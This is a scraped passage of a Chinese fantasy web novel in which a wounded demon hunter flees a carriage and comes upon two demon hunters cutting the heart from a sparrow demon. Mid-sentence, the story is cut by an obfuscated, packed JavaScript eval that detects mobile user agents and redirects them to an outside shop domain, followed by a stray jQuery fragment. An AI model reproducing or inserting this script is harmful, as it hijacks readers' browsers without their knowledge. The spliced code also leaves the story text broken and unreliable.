替余被她跳脱的蛮横狠狠噎住,微张嘴没有说话。
喻为央见他没有顺从意味,将脚探出卧榻,“有缘来日定然报答。”
她穿上鞋,站起后车顶也擦着头皮,但依旧不妨碍行动。
一个飞身上前,她夺了替余身边的剑。
动作很快,加之捉妖师本身的压迫感,他一时没反应过来,起身又将头顶撞在车顶,发出点闷响。
而喻为央已经耗子一般,从马车前头窜了出去,黑影立刻滚在外头,消失在视野里。
替余忙上前一步,他怀疑自己看花眼了,朝外探头,却只看见车夫回望的惊恐眼神。
车夫问:“刚刚飞出去什么东西?车上没有这么大的耗子吧?”
替余惊恐不减,又回首望了下喻为央方才躺的地方,果然已经空无一人。
他道:“快停车,可能是豺狼。”
哪有人身上那么多伤口,刚刚醒来,就有力气干这种危险事。
车夫闻言一惊,手上鞭子不稳,马车跟着剧烈颠簸,又连忙回头去驾车。
替余差点跌一跤,悔恨自己不认真发言,“停车!刚刚有人跳车了,去追!”
车夫这才尝试勒马。
但随着一股靠的很近,没有丝毫掩盖的妖力靠近,似乎有什么东西在马身上扎了一下,马儿受惊跑的更快了。
而此刻,喻为央滚落冰凉潮湿的草地,借力滚了几圈,衣服湿了大半,看着夜色里马车灯火缩成小点又归于无。
她支起身体,扶着剑站起来,脚下踩着湿漉漉的杂草,用力拿脚趾扒稳。
剑上边落了不少雨珠,她弯腰拍落,俯身拿左手在地上抓了把泥,然后随手糊在脸上,抹了两把。
她先前在掀车帘时,就看见外头有一家客栈,不过其间灯火昏暗,一个人影看不见,只能看见翻飞的红色布旗,上头印着一个暗紫的“还”字。
整间客栈泛着浓厚妖气,怕是被妖经营着,专吃过路人。
既然这是郦州,外头还挂着那么具有标志性的旗帜,应当就是她从前听过的郦州那家,许多捉妖师都有来无回的——还生客栈。
进郦州必须经过这处,她先前寄存的法器还在州内友人手里,必须过去看看,不然很可能死在路途上。
越朝北去,妖只会越多。
但也不能让脸暴露在大众视野里。
方才马车路过时,不知道为什么本有一股妖力想靠近,才近了点就吓到一般退去了。
她并没有感受到什么其他强大的妖在附近,她也不是什么能吓跑众多妖邪的捉妖师。
只是周围,她还感受到有一点她一直渴求的东西——捉妖师的法术。
这附近确实还有其他的捉妖师,但也不是很强大那一种。
想过去的心情更强烈了。
喻为央又在自己脖子和手上抹了几把,踩着淅沥的雨点,迎着刺骨的风踏过去。
走了大段路,起了阵很薄的雾,又行了一阵,视野里终于出现熹微的灯火,在雨幕里飘飘摇摇。
原本稀薄的妖气也渐渐厚起来。
喻为央感觉无数双眼睛暗中看着自己,但是都不太敢凑上前。
她虽然满手妖血,也没那么可怕吧?
估计是在盘算着什么。
喻为央松了松剑鞘,步子慢了些,她听见前头有人在打架。
动静应该是个女子,有桃木剑刺进皮肉的声音,但是没有任何惨叫。
抬脚将身形掩在树干后,喻为央又轻声走了几步,脚步和雨声混在一起,窸窸窣窣难以分清。
潮湿的血腥味飘开,她轻轻探头,又看见一个黑衣女子立在一棵树木边,她腰间挂着一个巴掌大小的黛蓝色葫芦。
喻为央心头一惊,觉得这东西怎么那么眼熟。
还在思考,目光却不自觉被她身侧的人吸引。
黑衣女子身侧脚边,另一个面庞娇俏的黑衣少女跪伏在一具尸体间,拿刀正在剜身下人的心脏。
手扬得很高,一下一下的,飞溅无数血肉。
被压着的人四肢抽搐,但也只是小幅度,像被什么东西束缚了四肢。
喻为央手上一紧,瞳孔猛然一缩。
少女跟着顿了一下,如同感应到什么一般,朝喻为央的方向看了眼,她吓得朝后缩了缩脑袋,鼻腔吸进了些雨滴。
心跳不止,周遭雷鸣阵起。
再听见刀刺入皮肉时,她才看再微微探头去看。
被捅的已经一动不动。
两个女子都是捉妖师,正在挖心脏那个法力尚浅,但能看出是个绝佳的捉妖师苗子。
而被她压着的,现在已经成为一具尸体的,是一只雀妖。
她低着头,把匕首放在尚且喷涌血液伤口,左手按着身下人的胸脯,将右手伸了进去,用力一拽,就将心脏从胸腔扒了出来。
少女面上没有丝毫恐惧,但泛着不舍,她将血淋淋的心脏举到面前,抬头看身边的女人,声音有些委屈:“师父,这小雀妖灵敏,下回能不能让我抓了?”
被她称作师父的女人依旧是背对喻为央方向站着,朝前迈了一步,取下腰间葫芦。
她道:“下回再说。”
她拧开葫芦,将其凑到赤裸的心上,瓶口间朝外散出点泛着荧光的粉末。
喻为央目不转睛盯着,然后看见葫芦从顶口裂开,分成几道不规则碎瓣,如同连根剥下的橘子皮。
葫芦延伸了碎片,将心脏裹住,微微蠕动着,如同在咀嚼什么东西。
她不禁确信,那就是她寄存在友人处的炼化妖物的葫芦—丹葫芦。
世间独一无二,专门将妖炼化为丹药。
怎么会在这个陌生女人手里?
难道她的友人遭遇了不测?
但她们是捉妖师,又将她的这个念头微微压下去。
不过她的朋友也没有不经人同意就将他人东西借出去的喜好。
她有点怕朋友遭遇不测,被人杀了,所以东西才落他人手上。
犹豫间,她又看见那少女把沾血的手在雀妖身上擦了擦,而后从地上爬起来,对她师父道:“师父,妙妙还想去城外,今晚能不能先不去客栈?反正它都在那那么久,多存在一天有什么关系?”
师父犹豫一下,道:“也好,璃空不管,我们反替她急。”
这正是喻为央要寻的友人的名字。
只是,她怎么会不管这还生客栈的事?
从前就是为了处理这件事她才
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693672|204350||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来的郦州。
不然可能也早就遭喻为辙迫害。
但听着这师徒两要走,喻为央盯着被挂回腰间的丹葫芦,又咬牙朝前迈了一步。
心头疑惑的乌云盘旋,如果她俩就此走了,不知何时又能寻到。
捏了下剑柄,喻为央抬脚小跑,踩出焦急的沙沙声响。
两个人这回果然循声望来。
喻为央看见那少女神色戒备起来,她微微捏了剑,朝师父面前拦了一步。
估计是对她诡异模样感到疑惑不安。
喻为央咧了个灿烂假笑,抱着剑,左脚一绊右脚,跌在地上。
她屈膝压着嗓子,仰头看两人,可怜兮兮道:“两位女侠,小女子孤身一人,能不能同你们一块走?”
毕竟女子总会对女子有天然亲切感,她装得可怜一点,更能博取同情心与她们同行,搞清楚友人与法器的事。
而且……她身上没钱,她俩看上去挺有钱的。
妙妙眉头轻蹙,觉得这个脏兮兮,长得有点凶的女人很诡异,她压着剑柄,侧眼问师父:“她在干吗?装可怜吗?”
她透亮的瞳反射点夜光,面庞圆润饱满,随着唇动,下颌漾开点弧度。
这小女娃倒是犀利,呛得喻为央神色一裂,好在面孔大部分被污泥遮着,阴影下看不太清。
她师父道:“对。”
顿了一下,又道:“你以前也这样。”
妙妙一僵,面上攀上点红晕,音调高了些,“那是林妙妙!我是高妙妙!”
喻为央抓紧了一分湿漉漉的衣摆,看她俩没再说话,挤着嗓子给自己辩解:“小女子身体不太好,怎么能这么说?”
妙妙又扫视她两眼,道:“你是什么人?”
她面上还带着点羞赧,眨眼时一滴缀在睫毛上的雨珠顺势从面庞滚下,如气哭一般。
喻为央轻勾嘴角,道:“小女子名为向瑾,实在仰慕两位女侠。”
妙妙侧头望师父,道:“她有点虚伪。”
还真是像以前的喻为央。
她忽然意识到为什么自己以前老被人说嘴贱了。
但也不太好发作,她僵着笑容坐直身体,道:“绝无半分虚言,我从小就最景仰捉妖师。”
说着,她的视线扫过丹葫芦。
其实她也有所顾虑,因为她自己也是满手妖血,万一被嗅出来,没有法术不好和她们解释。
而且本身捉妖师就是禁职,行动都是悄咪咪的,被人点出来也不知她们是否会破防杀人灭口。
但自始至终,两人都没看她的手,也没表现出丝毫异样,如同看待寻常女子一般看她。
但也是,地上还有个散着血腥味的妖呢。
不过大概率还是也嗅到她满手妖血了,不然不可能问都不问。
妙妙道:“怪不得看到死个人不害怕,反而上赶着凑上来,”
她师父站在一边没说话,视线落在喻为央身上,其间带着漠然的审视。
喻为央连忙假笑着爬起来,特地把手在地上被血染红的水坑里抹了一把。
这样应该显得憨傻直白点,能叫她们少点对自己的防备。
妙妙师父没有移开目光,上前一步,道:“你不是常人。”